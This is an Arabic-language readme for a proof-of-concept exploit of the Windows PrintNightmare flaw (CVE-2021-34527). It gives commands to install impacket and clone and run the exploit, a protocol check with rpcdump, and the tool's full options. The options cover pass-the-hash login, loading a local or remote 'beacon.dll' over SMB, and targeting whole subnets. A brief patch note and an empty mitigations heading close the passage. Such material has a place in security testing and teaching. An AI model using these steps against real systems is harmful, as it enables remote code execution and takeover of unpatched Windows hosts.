
PrintNightmare (CVE-2021-34527) استغلال PoC
يعتمد هذا الإصدار من استغلال PrintNightmare على الكود الذي أنشأه Cube0x0، ويتميز بالآتي:
MS-RPRN وMS-PAR (يتم تحديدهما في وسائط الأوامر).قبل التشغيل، ثبّت أحدث إصدار من impacket:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
يمكن استخدام أداة rpcdump.py الخاصة بـ Impacket للتحقق من وجود بروتوكولي MS-PAR وMS-RPRN:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
بدلاً من ذلك، يمكن استخدام أداة ItWasAllADream الخاصة بـ byt3bl33d3r لفحص الأهداف والتحقق من ثغرة PrintNightmare التي تسمح بتنفيذ الأكواد عن بُعد (RCE).

-v VERBOSE Enable verbose logging from SMB server
-t TIMEOUT Connection timeout
Authentication:
-u USERNAME Set username
-H HASH, -hashes Use NTLM Hash for authentication
-p PASSWORD Set password
-d DOMAIN Set domain
--local-auth Authenticate to target host, no domain
DLL Execution:
-dll DLL Path to local DLL file to execute "beacon.dll"
--remote-dll REMOTE_DLL Remote dll "\\192.168.1.25\Share\beacon.dll"
-share SHARE Set local SMB share name
--local-ip LOCAL_IP Set local IP (defaults to primary interface)
Target(s):
-pDriverPath PDRIVERPATH Define Driver path. Example 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] Destination port to connect to SMB Server
-proto {MS-RPRN,MS-PAR} Target protocol (Default=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24 (positional)
أصدرت Microsoft عدة تصحيحات لـ PrintNightmare، كان آخرها في تحديثات Patch Tuesday لشهر سبتمبر 2021. تناول هذا التحديث الثغرة الأساسية والاختراقات البديلة التي اكتُشفت لاحقًا. لمزيد من المعلومات، راجع الإرشادات الرسمية من Microsoft:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
تشمل الاستراتيجيات الإضافية للتخفيف من هذه الثغرة ما يلي: